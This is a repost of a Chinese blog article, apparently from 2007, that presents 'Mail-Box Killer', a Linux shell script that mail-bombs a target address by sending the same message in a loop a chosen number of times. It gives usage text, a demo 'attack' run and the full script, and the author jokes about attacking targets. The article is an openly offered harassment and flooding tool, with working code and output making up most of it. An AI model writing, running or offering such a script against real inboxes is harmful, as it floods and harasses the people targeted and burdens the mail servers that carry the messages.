文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>邮箱攻击者 [shell script] [for linux]

邮箱攻击者 [shell script] [for linux]

时间:2007-06-16  来源:dorainm

邮箱攻击者

没有什么技术含量,循环发送邮件而已
最好设置一个延时,不然服务器也受不了
(攻击2个目标了阿?哇哈哈,赚了)

脚本大家可以自由修改,
就是不要攻击 dorainm 的邮箱

运行语法:
[dorainm@dorm bin]$ ./mailattacker.sh
=======================================================
-- Mail-Box Killer     dorainm    [email protected]  --
=======================================================
Usage :
        ./mailattacker.sh MailBox Subject Contect Attack_Times Delay_Time

        MailBox         MailBox Address
        Subject         Smap Mail's Subject
        Contect         Smap Mail's Contect
        Attack_Times    Attack Times
        Delay_time      Delay Time Between Two Attacks

the command completed successfully.

[dorainm@dorm bin]$


攻击演示:
[dorainm@dorm bin]$ ./mailattacker.sh [email protected] Hi "This is a Joke" 10 2=======================================================
-- Mail-Box Killer     dorainm    [email protected]  --
=======================================================
Mail Address : [email protected]
Mail Subject : Hi
Mail Contect : This is a Joke
Attack Times : 10 time(s)
Delay Time   : 2 second(s)
[+]  Start Attacking
[1]  Attack [email protected] ... Wait 2 second(s)
[2]  Attack [email protected] ... Wait 2 second(s)
[3]  Attack [email protected] ... Wait 2 second(s)
[4]  Attack [email protected] ... Wait 2 second(s)
[5]  Attack [email protected] ... Wait 2 second(s)
[6]  Attack [email protected] ... Wait 2 second(s)
[7]  Attack [email protected] ... Wait 2 second(s)
[8]  Attack [email protected] ... Wait 2 second(s)
[9]  Attack [email protected] ... Wait 2 second(s)
[10]  Attack [email protected] ... Wait 2 second(s)
[+]  All Done

the command completed successfully

[dorainm@dorm bin]$


脚本代码:

#=================================================================#
# About Program :
# Mail Attacker
# this script can send smap mails to a target mailbox
#
# About Author :
# dorainm huang
# [email protected]
#
# May 29th, 2006
#=================================================================#

#====================== Display Logo =============================#
echo "======================================================="
echo "-- Mail-Box Killer dorainm [email protected] --"
echo "======================================================="
#=================================================================#

#==================== Show Usage =================================#
if [ $# -ne 5 ]
then
        echo "Usage :"
        echo " $0 MailBox Subject Contect Attack_Times Delay_Time"
        echo
        echo " MailBox MailBox Address"
        echo " Subject Smap Mail's Subject"
        echo " Contect Smap Mail's Contect"
        echo " Attack_Times Attack Times"
        echo " Delay_time Delay Time Between Two Attacks"
        echo ; echo
        echo "the command completed successfully."
        echo ; echo
        exit 1
fi
#=================================================================#

#====================== Check ARGs ===============================#
if [ $5 -lt 1 ]
then
        echo "Error : Delay Time Must Large Than 1 second"
        echo ; echo
        echo "the command completed successfully"
        echo ; echo
        exit 2
fi
if [ $4 -lt 1 ]
then
        echo "Error : Attack Times Must be a Integer"
        echo ; echo
        echo "the command completed successfully"
        echo ; echo
        exit 3
fi
if [ $1 = "" ]
then
        echo "Error : You Must Input a Attack MailBox Address"
        echo ; echo
        echo "the command completed successfully"
        echo ; echo
        exit 4
fi
#=================================================================#

#====================== Init Variable ============================#
MAIL_ADDRESS=$1
MAIL_SUBJECT=$2
MAIL_CONTECT=$3
ATTACK_TIMES=$4
DELAY_TIME=$5
COUNT=0
echo "Mail Address : $MAIL_ADDRESS"
echo "Mail Subject : $MAIL_SUBJECT"
echo "Mail Contect : $MAIL_CONTECT"
echo "Attack Times : $ATTACK_TIMES time(s)"
echo "Delay Time : $DELAY_TIME second(s)"
#=================================================================#

#======================== Start Attack ===========================#
echo "[+] Start Attacking"
while [ $COUNT -lt $ATTACK_TIMES ]
do
        echo $MAIL_CONTECT | mail -s $MAIL_SUBJECT $MAIL_ADDRESS
        (( COUNT=$COUNT+1 ))
        echo "[$COUNT] Attack $MAIL_ADDRESS ... Wait $DELAY_TIME second(s)"
        sleep $DELAY_TIME
done
echo "[+] All Done"
#=================================================================#

#=================================================================#
echo ; echo
echo "the command completed successfully"
echo ; echo
#=================================================================

相关阅读 更多 +
排行榜 更多 +
辰域智控app

辰域智控app

系统工具 下载
网医联盟app

网医联盟app

运动健身 下载
汇丰汇选App

汇丰汇选App

金融理财 下载